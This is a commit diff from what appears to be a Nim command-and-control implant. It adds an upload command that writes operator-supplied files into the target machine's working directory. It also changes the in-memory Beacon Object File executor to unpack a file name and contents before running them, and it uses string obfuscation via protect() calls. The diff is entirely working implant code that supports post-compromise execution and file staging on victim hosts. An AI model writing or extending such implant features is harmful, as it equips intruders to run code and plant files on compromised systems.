Implemented simple upload command.
This commit is contained in:
@@ -27,7 +27,7 @@ when defined(agent):
|
||||
import osproc, strutils, strformat
|
||||
import ../agent/core/coff
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
@@ -46,8 +46,14 @@ when defined(agent):
|
||||
# Combine the passed arguments into a format that is understood by the Beacon API
|
||||
arguments = generateCoffArguments(task.args[1..^1])
|
||||
|
||||
echo fmt" [>] Executing object file."
|
||||
let output = inlineExecuteGetOutput(objectFile, arguments)
|
||||
# Unpacking object file, since it contains the file name too.
|
||||
var unpacker = Unpacker.init(Bytes.toString(objectFile))
|
||||
let
|
||||
fileName = unpacker.getDataWithLengthPrefix()
|
||||
objectFileContents = unpacker.getDataWithLengthPrefix()
|
||||
|
||||
echo fmt" [>] Executing object file {fileName}."
|
||||
let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments)
|
||||
|
||||
if output != "":
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
@@ -25,7 +25,7 @@ let commands*: seq[Command] = @[
|
||||
arguments: @[
|
||||
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
||||
],
|
||||
execute: executeDownload
|
||||
execute: executeUpload
|
||||
)
|
||||
]
|
||||
|
||||
@@ -67,11 +67,21 @@ when defined(agent):
|
||||
|
||||
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
var fileBytes: seq[byte] = task.args[0].data
|
||||
var arg: string = Bytes.toString(task.args[0].data)
|
||||
|
||||
|
||||
echo arg
|
||||
|
||||
# Parse binary argument
|
||||
var unpacker = Unpacker.init(arg)
|
||||
let
|
||||
fileName = unpacker.getDataWithLengthPrefix()
|
||||
fileContents = unpacker.getDataWithLengthPrefix()
|
||||
|
||||
# Write the file to the current working directory
|
||||
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
|
||||
writeFile(fmt"{destination}", fileContents)
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}." & "\n"))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
Reference in New Issue
Block a user